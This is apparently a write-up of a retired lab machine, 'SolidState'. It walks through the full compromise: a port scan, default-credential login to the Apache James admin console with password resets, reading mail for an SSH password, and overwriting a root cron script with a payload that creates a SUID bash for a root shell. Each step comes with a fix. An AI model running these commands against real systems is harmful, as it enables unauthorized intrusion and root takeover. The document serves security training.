SolidState
Summary
Target solidstate ($TARGET) was fully compromised through a chain of three misconfigurations. A port scan exposed Apache James Mail Server 2.3.2 running its remote administration console on port 4555 with its factory-default credentials (root/root) still active. I authenticated to that console, listed every internal mail account, and reset the POP3 password for user 'mindy' to a known value.
Reading mindy's mailbox revealed a plaintext provisioning email from an administrator that contained her SSH password. SSH access as mindy yielded the user flag. Post-login enumeration of /opt found a Python script writable by all users that a root-owned cron job executed on a regular schedule.
Replacing the script with a payload that copies /bin/bash with the SUID bit set, then waiting one cron cycle, produced a root shell and the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 1
nmap -sV -Pn -p 22,25,80,110,119,4555 $TARGETExact commands 2
python3 -c "
import socket, time
s = socket.create_connection(('$TARGET', 4555), 10)
print(s.recv(1024).decode(errors='ignore'))
for cmd in [b'root\r\n', b'root\r\n', b'listusers\r\n']:
s.sendall(cmd); time.sleep(0.6)
print(s.recv(4096).decode(errors='ignore'))
"python3 -c "
import socket, time
s = socket.create_connection(('$TARGET', 4555), 10)
s.recv(1024)
for cmd in [b'root\r\n', b'root\r\n', b'setpassword mindy $PASSWORD2\r\n', b'setpassword james $PASSWORD2\r\n', b'quit\r\n']:
s.sendall(cmd); time.sleep(0.6)
print(s.recv(4096).decode(errors='ignore'))
"FixReplace Apache James default administrator credentials and restrict the admin interface to localhostCritical
Exact commands 2
curl -s --url "pop3://$TARGET/1" -u 'mindy:$PASSWORD2'curl -s --url "pop3://$TARGET/2" -u 'mindy:$PASSWORD2'FixNever transmit credentials in plaintext email; enforce least-privilege mailbox accessHigh
Exact commands 2
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mindy@$TARGETsshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mindy@$TARGET 'cat /home/mindy/user.txt'Exact commands 4
ls -la /opt/cat /opt/tmp.pyfind /opt -writable -ls 2>/dev/nullcrontab -l; cat /etc/crontab; ls /etc/cron.*FixRemove world-writable permissions from all cron-executed scripts and audit scheduled tasksCritical
Exact commands 4
printf '#!/usr/bin/python\nimport os\nos.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash")\n' > /opt/tmp.pywatch -n 5 ls -la /tmp/rootbash 2>/dev/null/tmp/rootbash -pcat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) |
| 25/tcp | smtp recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.25 ((Debian)) |
| 110/tcp | pop3 recon-sweep-discovered |
| 119/tcp | unknown recon-sweep-discovered |
| 4555/tcp | unknown recon-sweep-discovered |